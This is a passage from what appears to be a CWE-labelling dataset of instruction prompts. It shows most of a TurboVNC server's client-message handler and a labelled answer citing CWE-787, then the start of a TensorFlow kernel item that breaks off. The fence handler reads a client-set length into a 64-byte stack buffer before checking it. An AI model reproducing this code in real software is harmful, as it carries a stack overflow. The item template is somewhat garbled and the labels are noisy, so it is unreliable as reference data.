cl->preferredEncoding = enc;\n              rfbLog(\"Using tight encoding for client %s\\n\", cl->host);\n            }\n            break;\n          case rfbEncodingXCursor:\n            if (!cl->enableCursorShapeUpdates) {\n              rfbLog(\"Enabling X-style cursor updates for client %s\\n\",\n                     cl->host);\n              cl->enableCursorShapeUpdates = TRUE;\n              cl->useRichCursorEncoding = FALSE;\n              cl->cursorWasChanged = TRUE;\n            }\n            break;\n          case rfbEncodingRichCursor:\n            if (!cl->enableCursorShapeUpdates) {\n              rfbLog(\"Enabling full-color cursor updates for client %s\\n\",\n                     cl->host);\n              cl->enableCursorShapeUpdates = TRUE;\n              cl->useRichCursorEncoding = TRUE;\n              cl->cursorWasChanged = TRUE;\n            }\n            break;\n          case rfbEncodingPointerPos:\n            if (!cl->enableCursorPosUpdates) {\n              rfbLog(\"Enabling cursor position updates for client %s\\n\",\n                     cl->host);\n              cl->enableCursorPosUpdates = TRUE;\n              cl->cursorWasMoved = TRUE;\n              cl->cursorX = -1;\n              cl->cursorY = -1;\n            }\n            break;\n          case rfbEncodingLastRect:\n            if (!cl->enableLastRectEncoding) {\n              rfbLog(\"Enabling LastRect protocol extension for client %s\\n\",\n                     cl->host);\n              cl->enableLastRectEncoding = TRUE;\n            }\n            break;\n          case rfbEncodingFence:\n            if (!cl->enableFence) {\n              rfbLog(\"Enabling Fence protocol extension for client %s\\n\",\n                     cl->host);\n              cl->enableFence = TRUE;\n            }\n            break;\n          case rfbEncodingContinuousUpdates:\n            if (!cl->enableCU) {\n              rfbLog(\"Enabling Continuous Updates protocol extension for client %s\\n\",\n                     cl->host);\n              cl->enableCU = TRUE;\n            }\n            break;\n          case rfbEncodingNewFBSize:\n            if (!cl->enableDesktopSize) {\n              if (!rfbAuthDisableRemoteResize) {\n                rfbLog(\"Enabling Desktop Size protocol extension for client %s\\n\",\n                       cl->host);\n                cl->enableDesktopSize = TRUE;\n              } else\n                rfbLog(\"WARNING: Remote desktop resizing disabled per system policy.\\n\");\n            }\n            break;\n          case rfbEncodingExtendedDesktopSize:\n            if (!cl->enableExtDesktopSize) {\n              if (!rfbAuthDisableRemoteResize) {\n                rfbLog(\"Enabling Extended Desktop Size protocol extension for client %s\\n\",\n                       cl->host);\n                cl->enableExtDesktopSize = TRUE;\n              } else\n                rfbLog(\"WARNING: Remote desktop resizing disabled per system policy.\\n\");\n            }\n            break;\n          case rfbEncodingGII:\n            if (!cl->enableGII) {\n              rfbLog(\"Enabling GII extension for client %s\\n\", cl->host);\n              cl->enableGII = TRUE;\n            }\n            break;\n          default:\n            if (enc >= (CARD32)rfbEncodingCompressLevel0 &&\n                enc <= (CARD32)rfbEncodingCompressLevel9) {\n              cl->zlibCompressLevel = enc & 0x0F;\n              cl->tightCompressLevel = enc & 0x0F;\n              if (cl->preferredEncoding == rfbEncodingTight)\n                logTightCompressLevel = TRUE;\n              else\n                rfbLog(\"Using compression level %d for client %s\\n\",\n                       cl->tightCompressLevel, cl->host);\n              if (rfbInterframe == -1) {\n                if (cl->tightCompressLevel >= 5) {\n                  if (!InterframeOn(cl)) {\n                    rfbCloseClient(cl);\n                    return;\n                  }\n                } else\n                  InterframeOff(cl);\n              }\n            } else if (enc >= (CARD32)rfbEncodingSubsamp1X &&\n                       enc <= (CARD32)rfbEncodingSubsampGray) {\n              cl->tightSubsampLevel = enc & 0xFF;\n              rfbLog(\"Using JPEG subsampling %d for client %s\\n\",\n                     cl->tightSubsampLevel, cl->host);\n            } else if (enc >= (CARD32)rfbEncodingQualityLevel0 &&\n                       enc <= (CARD32)rfbEncodingQualityLevel9) {\n              cl->tightQualityLevel = JPEG_QUAL[enc & 0x0F];\n              cl->tightSubsampLevel = JPEG_SUBSAMP[enc & 0x0F];\n              cl->imageQualityLevel = enc & 0x0F;\n              if (cl->preferredEncoding == rfbEncodingTight)\n                rfbLog(\"Using JPEG subsampling %d, Q%d for client %s\\n\",\n                       cl->tightSubsampLevel, cl->tightQualityLevel, cl->host);\n              else\n                rfbLog(\"Using image quality level %d for client %s\\n\",\n                       cl->imageQualityLevel, cl->host);\n            } else if (enc >= (CARD32)rfbEncodingFineQualityLevel0 + 1 &&\n                       enc <= (CARD32)rfbEncodingFineQualityLevel100) {\n              cl->tightQualityLevel = enc & 0xFF;\n              rfbLog(\"Using JPEG quality %d for client %s\\n\",\n                     cl->tightQualityLevel, cl->host);\n            } else {\n              rfbLog(\"rfbProcessClientNormalMessage: ignoring unknown encoding %d (%x)\\n\",\n                     (int)enc, (int)enc);\n            }\n        }  /* switch (enc) */\n      }  /* for (i = 0; i < msg.se.nEncodings; i++) */\n\n      if (cl->preferredEncoding == -1)\n        cl->preferredEncoding = rfbEncodingTight;\n\n      if (cl->preferredEncoding == rfbEncodingTight && logTightCompressLevel)\n        rfbLog(\"Using Tight compression level %d for client %s\\n\",\n               rfbTightCompressLevel(cl), cl->host);\n\n      if (cl->enableCursorPosUpdates && !cl->enableCursorShapeUpdates) {\n        rfbLog(\"Disabling cursor position updates for client %s\\n\", cl->host);\n        cl->enableCursorPosUpdates = FALSE;\n      }\n\n      if (cl->enableFence && firstFence) {\n        if (!rfbSendFence(cl, rfbFenceFlagRequest, 0, NULL))\n          return;\n      }\n\n      if (cl->enableCU && cl->enableFence && firstCU) {\n        if (!rfbSendEndOfCU(cl))\n          return;\n      }\n\n      if (cl->enableGII && firstGII) {\n        /* Send GII server version message to all clients */\n        rfbGIIServerVersionMsg msg;\n\n        msg.type = rfbGIIServer;\n        /* We always send as big endian to make things easier on the Java\n           viewer. */\n        msg.endianAndSubType = rfbGIIVersion | rfbGIIBE;\n        msg.length = Swap16IfLE(sz_rfbGIIServerVersionMsg - 4);\n        msg.maximumVersion = msg.minimumVersion = Swap16IfLE(1);\n\n        if (WriteExact(cl, (char *)&msg, sz_rfbGIIServerVersionMsg) < 0) {\n          rfbLogPerror(\"rfbProcessClientNormalMessage: write\");\n          rfbCloseClient(cl);\n          return;\n        }\n      }\n\n      return;\n    }  /* rfbSetEncodings */\n\n    case rfbFramebufferUpdateRequest:\n    {\n      RegionRec tmpRegion;\n      BoxRec box;\n\n      READ(((char *)&msg) + 1, sz_rfbFramebufferUpdateRequestMsg - 1)\n\n      box.x1 = Swap16IfLE(msg.fur.x);\n      box.y1 = Swap16IfLE(msg.fur.y);\n      box.x2 = box.x1 + Swap16IfLE(msg.fur.w);\n      box.y2 = box.y1 + Swap16IfLE(msg.fur.h);\n      SAFE_REGION_INIT(pScreen, &tmpRegion, &box, 0);\n\n      if (!msg.fur.incremental || !cl->continuousUpdates)\n        REGION_UNION(pScreen, &cl->requestedRegion, &cl->requestedRegion,\n                     &tmpRegion);\n\n      if (!cl->readyForSetColourMapEntries) {\n        /* client hasn't sent a SetPixelFormat so is using server's */\n        cl->readyForSetColourMapEntries = TRUE;\n        if (!cl->format.trueColour) {\n          if (!rfbSetClientColourMap(cl, 0, 0)) {\n            REGION_UNINIT(pScreen, &tmpRegion);\n            return;\n          }\n        }\n      }\n\n      if (!msg.fur.incremental) {\n        REGION_UNION(pScreen, &cl->modifiedRegion, &cl->modifiedRegion,\n                     &tmpRegion);\n        REGION_SUBTRACT(pScreen, &cl->copyRegion, &cl->copyRegion, &tmpRegion);\n        REGION_UNION(pScreen, &cl->ifRegion, &cl->ifRegion, &tmpRegion);\n        cl->pendingExtDesktopResize = TRUE;\n      }\n\n      if (FB_UPDATE_PENDING(cl) &&\n          (!cl->deferredUpdateScheduled || rfbDeferUpdateTime == 0 ||\n           gettime() - cl->deferredUpdateStart >=\n           (double)rfbDeferUpdateTime)) {\n        if (rfbSendFramebufferUpdate(cl))\n          cl->deferredUpdateScheduled = FALSE;\n      }\n\n      REGION_UNINIT(pScreen, &tmpRegion);\n      return;\n    }\n\n    case rfbKeyEvent:\n\n      cl->rfbKeyEventsRcvd++;\n\n      READ(((char *)&msg) + 1, sz_rfbKeyEventMsg - 1)\n\n      if (!rfbViewOnly && !cl->viewOnly)\n        KeyEvent((KeySym)Swap32IfLE(msg.ke.key), msg.ke.down);\n\n      return;\n\n    case rfbPointerEvent:\n\n      cl->rfbPointerEventsRcvd++;\n\n      READ(((char *)&msg) + 1, sz_rfbPointerEventMsg - 1)\n\n      if (pointerClient && (pointerClient != cl))\n        return;\n\n      if (msg.pe.buttonMask == 0)\n        pointerClient = NULL;\n      else\n        pointerClient = cl;\n\n      if (!rfbViewOnly && !cl->viewOnly) {\n        cl->cursorX = (int)Swap16IfLE(msg.pe.x);\n        cl->cursorY = (int)Swap16IfLE(msg.pe.y);\n        PtrAddEvent(msg.pe.buttonMask, cl->cursorX, cl->cursorY, cl);\n      }\n      return;\n\n    case rfbClientCutText:\n    {\n      int ignoredBytes = 0;\n\n      READ(((char *)&msg) + 1, sz_rfbClientCutTextMsg - 1)\n\n      msg.cct.length = Swap32IfLE(msg.cct.length);\n      if (msg.cct.length > rfbMaxClipboard) {\n        rfbLog(\"Truncating %d-byte clipboard update to %d bytes.\\n\",\n               msg.cct.length, rfbMaxClipboard);\n        ignoredBytes = msg.cct.length - rfbMaxClipboard;\n        msg.cct.length = rfbMaxClipboard;\n      }\n\n      if (msg.cct.length <= 0) return;\n      str = (char *)malloc(msg.cct.length);\n      if (str == NULL) {\n        rfbLogPerror(\"rfbProcessClientNormalMessage: rfbClientCutText out of memory\");\n        rfbCloseClient(cl);\n        return;\n      }\n\n      if ((n = ReadExact(cl, str, msg.cct.length)) <= 0) {\n        if (n != 0)\n          rfbLogPerror(\"rfbProcessClientNormalMessage: read\");\n        free(str);\n        rfbCloseClient(cl);\n        return;\n      }\n\n      if (ignoredBytes > 0) {\n        if ((n = SkipExact(cl, ignoredBytes)) <= 0) {\n          if (n != 0)\n            rfbLogPerror(\"rfbProcessClientNormalMessage: read\");\n          free(str);\n          rfbCloseClient(cl);\n          return;\n        }\n      }\n\n      /* NOTE: We do not accept cut text from a view-only client */\n      if (!rfbViewOnly && !cl->viewOnly && !rfbAuthDisableCBRecv) {\n        vncClientCutText(str, msg.cct.length);\n        if (rfbSyncCutBuffer) rfbSetXCutText(str, msg.cct.length);\n      }\n\n      free(str);\n      return;\n    }\n\n    case rfbEnableContinuousUpdates:\n    {\n      BoxRec box;\n\n      READ(((char *)&msg) + 1, sz_rfbEnableContinuousUpdatesMsg - 1)\n\n      if (!cl->enableFence || !cl->enableCU) {\n        rfbLog(\"Ignoring request to enable continuous updates because the client does not\\n\");\n        rfbLog(\"support the flow control extensions.\\n\");\n        return;\n      }\n\n      box.x1 = Swap16IfLE(msg.ecu.x);\n      box.y1 = Swap16IfLE(msg.ecu.y);\n      box.x2 = box.x1 + Swap16IfLE(msg.ecu.w);\n      box.y2 = box.y1 + Swap16IfLE(msg.ecu.h);\n      SAFE_REGION_INIT(pScreen, &cl->cuRegion, &box, 0);\n\n      cl->continuousUpdates = msg.ecu.enable;\n      if (cl->continuousUpdates) {\n        REGION_EMPTY(pScreen, &cl->requestedRegion);\n        if (!rfbSendFramebufferUpdate(cl))\n          return;\n      } else {\n        if (!rfbSendEndOfCU(cl))\n          return;\n      }\n\n      rfbLog(\"Continuous updates %s\\n\",\n             cl->continuousUpdates ? \"enabled\" : \"disabled\");\n      return;\n    }\n\n    case rfbFence:\n    {\n      CARD32 flags;\n      char data[64];\n\n      READ(((char *)&msg) + 1, sz_rfbFenceMsg - 1)\n\n      flags = Swap32IfLE(msg.f.flags);\n\n      READ(data, msg.f.length)\n\n      if (msg.f.length > sizeof(data))\n        rfbLog(\"Ignoring fence.  Payload of %d bytes is too large.\\n\",\n               msg.f.length);\n      else\n        HandleFence(cl, flags, msg.f.length, data);\n      return;\n    }\n\n    #define EDSERROR(format, args...) {  \\\n      if (!strlen(errMsg))  \\\n        snprintf(errMsg, 256, \"Desktop resize ERROR: \"format\"\\n\", args);  \\\n      result = rfbEDSResultInvalid;  \\\n    }\n\n    case rfbSetDesktopSize:\n    {\n      int i;\n      struct xorg_list newScreens;\n      rfbClientPtr cl2;\n      int result = rfbEDSResultSuccess;\n      char errMsg[256] = \"\\0\";\n      ScreenPtr pScreen = screenInfo.screens[0];\n\n      READ(((char *)&msg) + 1, sz_rfbSetDesktopSizeMsg - 1)\n\n      if (msg.sds.numScreens < 1)\n        EDSERROR(\"Requested number of screens %d is invalid\",\n                 msg.sds.numScreens);\n\n      msg.sds.w = Swap16IfLE(msg.sds.w);\n      msg.sds.h = Swap16IfLE(msg.sds.h);\n      if (msg.sds.w < 1 || msg.sds.h < 1)\n        EDSERROR(\"Requested framebuffer dimensions %dx%d are invalid\",\n                 msg.sds.w, msg.sds.h);\n\n      xorg_list_init(&newScreens);\n      for (i = 0; i < msg.sds.numScreens; i++) {\n        rfbScreenInfo *screen = rfbNewScreen(0, 0, 0, 0, 0, 0);\n\n        READ((char *)&screen->s, sizeof(rfbScreenDesc))\n        screen->s.id = Swap32IfLE(screen->s.id);\n        screen->s.x = Swap16IfLE(screen->s.x);\n        screen->s.y = Swap16IfLE(screen->s.y);\n        screen->s.w = Swap16IfLE(screen->s.w);\n        screen->s.h = Swap16IfLE(screen->s.h);\n        screen->s.flags = Swap32IfLE(screen->s.flags);\n        if (screen->s.w < 1 || screen->s.h < 1)\n          EDSERROR(\"Screen 0x%.8x requested dimensions %dx%d are invalid\",\n                   (unsigned int)screen->s.id, screen->s.w, screen->s.h);\n        if (screen->s.x >= msg.sds.w || screen->s.y >= msg.sds.h ||\n            screen->s.x + screen->s.w > msg.sds.w ||\n            screen->s.y + screen->s.h > msg.sds.h)\n          EDSERROR(\"Screen 0x%.8x requested geometry %dx%d+%d+%d exceeds requested framebuffer dimensions\",\n                   (unsigned int)screen->s.id, screen->s.w, screen->s.h,\n                   screen->s.x, screen->s.y);\n        if (rfbFindScreenID(&newScreens, screen->s.id)) {\n          EDSERROR(\"Screen 0x%.8x duplicate ID\", (unsigned int)screen->s.id);\n          free(screen);\n        } else\n          rfbAddScreen(&newScreens, screen);\n      }\n\n      if (cl->viewOnly) {\n        rfbLog(\"NOTICE: Ignoring remote desktop resize request from a view-only client.\\n\");\n        result = rfbEDSResultProhibited;\n      } else if (result == rfbEDSResultSuccess) {\n        result = ResizeDesktop(pScreen, cl, msg.sds.w, msg.sds.h, &newScreens);\n        if (result == rfbEDSResultSuccess)\n          return;\n      } else\n        rfbLog(errMsg);\n\n      rfbRemoveScreens(&newScreens);\n\n      /* Send back the error only to the requesting client.  This loop is\n         necessary because the client may have been shut down as a result of\n         an error in ResizeDesktop(). */\n      for (cl2 = rfbClientHead; cl2; cl2 = cl2->next) {\n        if (cl2 == cl) {\n          cl2->pendingExtDesktopResize = TRUE;\n          cl2->reason = rfbEDSReasonClient;\n          cl2->result = result;\n          rfbSendFramebufferUpdate(cl2);\n          break;\n        }\n      }\n\n      return;\n    }\n\n    case rfbGIIClient:\n    {\n      CARD8 endianAndSubType, littleEndian, subType;\n\n      READ((char *)&endianAndSubType, 1);\n      littleEndian = (endianAndSubType & rfbGIIBE) ? 0 : 1;\n      subType = endianAndSubType & ~rfbGIIBE;\n\n      switch (subType) {\n\n        case rfbGIIVersion:\n\n          READ((char *)&msg.giicv.length, sz_rfbGIIClientVersionMsg - 2);\n          if (littleEndian != *(const char *)&rfbEndianTest) {\n            msg.giicv.length = Swap16(msg.giicv.length);\n            msg.giicv.version = Swap16(msg.giicv.version);\n          }\n          if (msg.giicv.length != sz_rfbGIIClientVersionMsg - 4 ||\n              msg.giicv.version < 1) {\n            rfbLog(\"ERROR: Malformed GII client version message\\n\");\n            rfbCloseClient(cl);\n            return;\n          }\n          rfbLog(\"Client supports GII version %d\\n\", msg.giicv.version);\n          break;\n\n        case rfbGIIDeviceCreate:\n        {\n          int i;\n          rfbDevInfo dev;\n          rfbGIIDeviceCreatedMsg dcmsg;\n\n          memset(&dev, 0, sizeof(dev));\n          dcmsg.deviceOrigin = 0;\n\n          READ((char *)&msg.giidc.length, sz_rfbGIIDeviceCreateMsg - 2);\n          if (littleEndian != *(const char *)&rfbEndianTest) {\n            msg.giidc.length = Swap16(msg.giidc.length);\n            msg.giidc.vendorID = Swap32(msg.giidc.vendorID);\n            msg.giidc.productID = Swap32(msg.giidc.productID);\n            msg.giidc.canGenerate = Swap32(msg.giidc.canGenerate);\n            msg.giidc.numRegisters = Swap32(msg.giidc.numRegisters);\n            msg.giidc.numValuators = Swap32(msg.giidc.numValuators);\n            msg.giidc.numButtons = Swap32(msg.giidc.numButtons);\n          }\n\n          rfbLog(\"GII Device Create: %s\\n\", msg.giidc.deviceName);\n#ifdef GII_DEBUG\n          rfbLog(\"    Vendor ID: %d\\n\", msg.giidc.vendorID);\n          rfbLog(\"    Product ID: %d\\n\", msg.giidc.productID);\n          rfbLog(\"    Event mask: %.8x\\n\", msg.giidc.canGenerate);\n          rfbLog(\"    Registers: %d\\n\", msg.giidc.numRegisters);\n          rfbLog(\"    Valuators: %d\\n\", msg.giidc.numValuators);\n          rfbLog(\"    Buttons: %d\\n\", msg.giidc.numButtons);\n#endif\n\n          if (msg.giidc.length != sz_rfbGIIDeviceCreateMsg - 4 +\n              msg.giidc.numValuators * sz_rfbGIIValuator) {\n            rfbLog(\"ERROR: Malformed GII device create message\\n\");\n            rfbCloseClient(cl);\n            return;\n          }\n\n          if (msg.giidc.numButtons > MAX_BUTTONS) {\n            rfbLog(\"GII device create ERROR: %d buttons exceeds max of %d\\n\",\n                   msg.giidc.numButtons, MAX_BUTTONS);\n            SKIP(msg.giidc.numValuators * sz_rfbGIIValuator);\n            goto sendMessage;\n          }\n          if (msg.giidc.numValuators > MAX_VALUATORS) {\n            rfbLog(\"GII device create ERROR: %d valuators exceeds max of %d\\n\",\n                   msg.giidc.numValuators, MAX_VALUATORS);\n            SKIP(msg.giidc.numValuators * sz_rfbGIIValuator);\n            goto sendMessage;\n          }\n\n          memcpy(&dev.name, msg.giidc.deviceName, 32);\n          dev.numButtons = msg.giidc.numButtons;\n          dev.numValuators = msg.giidc.numValuators;\n          dev.eventMask = msg.giidc.canGenerate;\n          dev.mode =\n            (dev.eventMask & rfbGIIValuatorAbsoluteMask) ? Absolute : Relative;\n          dev.productID = msg.giidc.productID;\n\n          if (dev.mode == Relative) {\n            rfbLog(\"GII device create ERROR: relative valuators not supported (yet)\\n\");\n            SKIP(msg.giidc.numValuators * sz_rfbGIIValuator);\n            goto sendMessage;\n          }\n\n          for (i = 0; i < dev.numValuators; i++) {\n            rfbGIIValuator *v = &dev.valuators[i];\n            READ((char *)v, sz_rfbGIIValuator);\n            if (littleEndian != *(const char *)&rfbEndianTest) {\n              v->index = Swap32(v->index);\n              v->rangeMin = Swap32((CARD32)v->rangeMin);\n              v->rangeCenter = Swap32((CARD32)v->rangeCenter);\n              v->rangeMax = Swap32((CARD32)v->rangeMax);\n              v->siUnit = Swap32(v->siUnit);\n              v->siAdd = Swap32((CARD32)v->siAdd);\n              v->siMul = Swap32((CARD32)v->siMul);\n              v->siDiv = Swap32((CARD32)v->siDiv);\n              v->siShift = Swap32((CARD32)v->siShift);\n            }\n\n#ifdef GII_DEBUG\n            rfbLog(\"    Valuator: %s (%s)\\n\", v->longName, v->shortName);\n            rfbLog(\"        Index: %d\\n\", v->index);\n            rfbLog(\"        Range: min = %d, center = %d, max = %d\\n\",\n                   v->rangeMin, v->rangeCenter, v->rangeMax);\n            rfbLog(\"        SI unit: %d\\n\", v->siUnit);\n            rfbLog(\"        SI add: %d\\n\", v->siAdd);\n            rfbLog(\"        SI multiply: %d\\n\", v->siMul);\n            rfbLog(\"        SI divide: %d\\n\", v->siDiv);\n            rfbLog(\"        SI shift: %d\\n\", v->siShift);\n#endif\n          }\n\n          for (i = 0; i < cl->numDevices; i++) {\n            if (!strcmp(dev.name, cl->devices[i].name)) {\n              rfbLog(\"Device \\'%s\\' already exists with GII device ID %d\\n\",\n                     dev.name, i + 1);\n              dcmsg.deviceOrigin = Swap32IfLE(i + 1);\n              goto sendMessage;\n            }\n          }\n\n          if (rfbVirtualTablet || AddExtInputDevice(&dev)) {\n            memcpy(&cl->devices[cl->numDevices], &dev, sizeof(dev));\n            cl->numDevices++;\n            dcmsg.deviceOrigin = Swap32IfLE(cl->numDevices);\n          }\n          rfbLog(\"GII device ID = %d\\n\", cl->numDevices);\n\n          sendMessage:\n          /* Send back a GII device created message */\n          dcmsg.type = rfbGIIServer;\n          /* We always send as big endian to make things easier on the Java\n             viewer. */\n          dcmsg.endianAndSubType = rfbGIIDeviceCreate | rfbGIIBE;\n          dcmsg.length = Swap16IfLE(sz_rfbGIIDeviceCreatedMsg - 4);\n\n          if (WriteExact(cl, (char *)&dcmsg, sz_rfbGIIDeviceCreatedMsg) < 0) {\n            rfbLogPerror(\"rfbProcessClientNormalMessage: write\");\n            rfbCloseClient(cl);\n            return;\n          }\n\n          break;\n        }\n\n        case rfbGIIDeviceDestroy:\n\n          READ((char *)&msg.giidd.length, sz_rfbGIIDeviceDestroyMsg - 2);\n          if (littleEndian != *(const char *)&rfbEndianTest) {\n            msg.giidd.length = Swap16(msg.giidd.length);\n            msg.giidd.deviceOrigin = Swap32(msg.giidd.deviceOrigin);\n          }\n          if (msg.giidd.length != sz_rfbGIIDeviceDestroyMsg - 4) {\n            rfbLog(\"ERROR: Malformed GII device create message\\n\");\n            rfbCloseClient(cl);\n            return;\n          }\n\n          RemoveExtInputDevice(cl, msg.giidd.deviceOrigin - 1);\n\n          break;\n\n        case rfbGIIEvent:\n        {\n          CARD16 length;\n\n          READ((char *)&length, sizeof(CARD16));\n          if (littleEndian != *(const char *)&rfbEndianTest)\n            length = Swap16(length);\n\n          while (length > 0) {\n            CARD8 eventSize, eventType;\n\n            READ((char *)&eventSize, 1);\n            READ((char *)&eventType, 1);\n\n            switch (eventType) {\n\n              case rfbGIIButtonPress:\n              case rfbGIIButtonRelease:\n              {\n                rfbGIIButtonEvent b;\n                rfbDevInfo *dev;\n\n                READ((char *)&b.pad, sz_rfbGIIButtonEvent - 2);\n                if (littleEndian != *(const char *)&rfbEndianTest) {\n                  b.deviceOrigin = Swap32(b.deviceOrigin);\n                  b.buttonNumber = Swap32(b.buttonNumber);\n                }\n                if (eventSize != sz_rfbGIIButtonEvent || b.deviceOrigin <= 0 ||\n                    b.buttonNumber < 1) {\n                  rfbLog(\"ERROR: Malformed GII button event\\n\");\n                  rfbCloseClient(cl);\n                  return;\n                }\n                if (eventSize > length) {\n                  rfbLog(\"ERROR: Malformed GII event message\\n\");\n                  rfbCloseClient(cl);\n                  return;\n                }\n                length -= eventSize;\n                if (b.deviceOrigin < 1 || b.deviceOrigin > cl->numDevices) {\n                  rfbLog(\"ERROR: GII button event from non-existent device %d\\n\",\n                         b.deviceOrigin);\n                  rfbCloseClient(cl);\n                  return;\n                }\n                dev = &cl->devices[b.deviceOrigin - 1];\n                if ((eventType == rfbGIIButtonPress &&\n                     (dev->eventMask & rfbGIIButtonPressMask) == 0) ||\n                    (eventType == rfbGIIButtonRelease &&\n                     (dev->eventMask & rfbGIIButtonReleaseMask) == 0)) {\n                  rfbLog(\"ERROR: Device %d can't generate GII button events\\n\",\n                         b.deviceOrigin);\n                  rfbCloseClient(cl);\n                  return;\n                }\n                if (b.buttonNumber > dev->numButtons) {\n                  rfbLog(\"ERROR: GII button %d event for device %d exceeds button count (%d)\\n\",\n                         b.buttonNumber, b.deviceOrigin, dev->numButtons);\n                  rfbCloseClient(cl);\n                  return;\n                }\n#ifdef GII_DEBUG\n                rfbLog(\"Device %d button %d %s\\n\", b.deviceOrigin,\n                       b.buttonNumber,\n                       eventType == rfbGIIButtonPress ? \"PRESS\" : \"release\");\n                fflush(stderr);\n#endif\n                ExtInputAddEvent(dev, eventType == rfbGIIButtonPress ?\n                                 ButtonPress : ButtonRelease, b.buttonNumber);\n                break;\n              }\n\n              case rfbGIIValuatorRelative:\n              case rfbGIIValuatorAbsolute:\n              {\n                rfbGIIValuatorEvent v;\n                int i;\n                rfbDevInfo *dev;\n\n                READ((char *)&v.pad, sz_rfbGIIValuatorEvent - 2);\n                if (littleEndian != *(const char *)&rfbEndianTest) {\n                  v.deviceOrigin = Swap32(v.deviceOrigin);\n                  v.first = Swap32(v.first);\n                  v.count = Swap32(v.count);\n                }\n                if (eventSize !=\n                    sz_rfbGIIValuatorEvent + sizeof(int) * v.count) {\n                  rfbLog(\"ERROR: Malformed GII valuator event\\n\");\n                  rfbCloseClient(cl);\n                  return;\n                }\n                if (eventSize > length) {\n                  rfbLog(\"ERROR: Malformed GII event message\\n\");\n                  rfbCloseClient(cl);\n                  return;\n                }\n                length -= eventSize;\n                if (v.deviceOrigin < 1 || v.deviceOrigin > cl->numDevices) {\n                  rfbLog(\"ERROR: GII valuator event from non-existent device %d\\n\",\n                         v.deviceOrigin);\n                  rfbCloseClient(cl);\n                  return;\n                }\n                dev = &cl->devices[v.deviceOrigin - 1];\n                if ((eventType == rfbGIIValuatorRelative &&\n                     (dev->eventMask & rfbGIIValuatorRelativeMask) == 0) ||\n                    (eventType == rfbGIIValuatorAbsolute &&\n                     (dev->eventMask & rfbGIIValuatorAbsoluteMask) == 0)) {\n                  rfbLog(\"ERROR: Device %d cannot generate GII valuator events\\n\",\n                         v.deviceOrigin);\n                  rfbCloseClient(cl);\n                  return;\n                }\n                if (v.first + v.count > dev->numValuators) {\n                  rfbLog(\"ERROR: GII valuator event for device %d exceeds valuator count (%d)\\n\",\n                         v.deviceOrigin, dev->numValuators);\n                  rfbCloseClient(cl);\n                  return;\n                }\n#ifdef GII_DEBUG\n                rfbLog(\"Device %d Valuator %s first=%d count=%d:\\n\",\n                       v.deviceOrigin,\n                       eventType == rfbGIIValuatorRelative ? \"rel\" : \"ABS\",\n                       v.first, v.count);\n#endif\n                for (i = v.first; i < v.first + v.count; i++) {\n                  READ((char *)&dev->values[i], sizeof(int));\n                  if (littleEndian != *(const char *)&rfbEndianTest)\n                    dev->values[i] = Swap32((CARD32)dev->values[i]);\n#ifdef GII_DEBUG\n                  fprintf(stderr, \"v[%d]=%d \", i, dev->values[i]);\n#endif\n                }\n#ifdef GII_DEBUG\n                fprintf(stderr, \"\\n\");\n#endif\n                if (v.count > 0) {\n                  dev->valFirst = v.first;\n                  dev->valCount = v.count;\n                  dev->mode = eventType == rfbGIIValuatorAbsolute ?\n                              Absolute : Relative;\n                  ExtInputAddEvent(dev, MotionNotify, 0);\n                }\n                break;\n              }\n              default:\n                rfbLog(\"ERROR: This server cannot handle GII event type %d\\n\",\n                       eventType);\n                rfbCloseClient(cl);\n                return;\n            }  /* switch (eventType) */\n          }  /* while (length > 0) */\n          if (length != 0) {\n            rfbLog(\"ERROR: Malformed GII event message\\n\");\n            rfbCloseClient(cl);\n            return;\n          }\n          break;\n        }  /* rfbGIIEvent */\n      }  /* switch (subType) */\n      return;\n    }  /* rfbGIIClient */\n\n    default:\n\n      rfbLog(\"rfbProcessClientNormalMessage: unknown message type %d\\n\",\n             msg.type);\n      rfbLog(\" ... closing connection\\n\");\n      rfbCloseClient(cl);\n      return;\n  }  /* switch (msg.type) */\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Server: Fix two issues identified by ASan\n\n1. If the TLSPlain and X509Plain security types were both disabled, then\n   rfbOptPamAuth() would overflow the name field in the secTypes\n   structure when testing the \"none\" security type, since the name of\n   that security type has less than five characters.  This issue was\n   innocuous, since the overflow was fully contained within the secTypes\n   structure, but the ASan error caused Xvnc to abort, which made it\n   difficult to detect other errors.\n\n2. If an ill-behaved RFB client sent the TurboVNC Server a fence\n   message with more than 64 bytes, then the TurboVNC Server would\n   try to read that message and subsequently overflow the stack before\n   it detected that the payload was too large.  This could never have\n   occurred with any of the VNC viewers that currently support the RFB\n   flow control extensions (TigerVNC and TurboVNC, namely.)  This issue\n   was also innocuous, since the stack overflow affected two variables\n   (newScreens and errMsg) that were never accessed before the function\n   returned.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void Compute(OpKernelContext* context) override {\n    const Tensor& input = context->input(0);\n    const TensorShape& input_shape = input.shape();\n    const int32 input_dims = input_shape.dims();\n\n    const Tensor& segment_id = context->input(1);\n    const TensorShape& segment_id_shape = segment_id.shape();\n    const int32 segment_dims = segment_id_shape.dims();\n\n    const Tensor& num_segments_tensor = context->input(2);\n    auto num_segments = num_segments_tensor.scalar()();\n\n    OP_REQUIRES(context, segment_dims != 0,\n                errors::InvalidArgument(\"Segment_id cannot have rank 0\"));\n\n    OP_REQUIRES(\n        context, segment_dims <= input_dims,\n        errors::OutOfRange(\"Invalid segment_id rank \", segment_dims,\n                           \" for input with \", input_dims, \" dimension(s)\"));\n    for (auto i = 0; i < segment_dims; i++) {\n      OP_REQUIRES(\n          context, segment_id_shape.dim_size(i) == input_shape.dim_size(i),\n          errors::InvalidArgument(\n              \"Segment dimension is \", segment_id_shape.dim_size(i),\n              \" while input dimension is \", input_dims, \" in rank \", i));\n    }\n\n    // Making output tensor.\n    Tensor* output_tensor = nullptr;\n    TensorShape output_shape =\n        GetOutputShape(input_shape, segment_id_shape, num_segments);\n    OP_REQUIRES_OK(context, context->allocate_output(\"output\", output_shape,\n                                                     &output_tensor));\n\n    // Preparating flat tensors.\n    auto output_flat = output_tensor->flat();\n    auto flat_segment_id = segment_id.flat();\n    auto flat_input = input.flat();\n\n    for (int i = 0; i < flat_segment_id.size(); i++) {\n      OP_REQUIRES(\n          context,\n          ((flat_segment_id(i) < num_segments) && (flat_segment_id(i) >= 0)),\n          errors::InvalidArgument(\n              \"segment_ids are not allowed to exceed num_segments or\"\n              \" to have negative values.\"));\n    }\n\n    int64 big_stride;\n   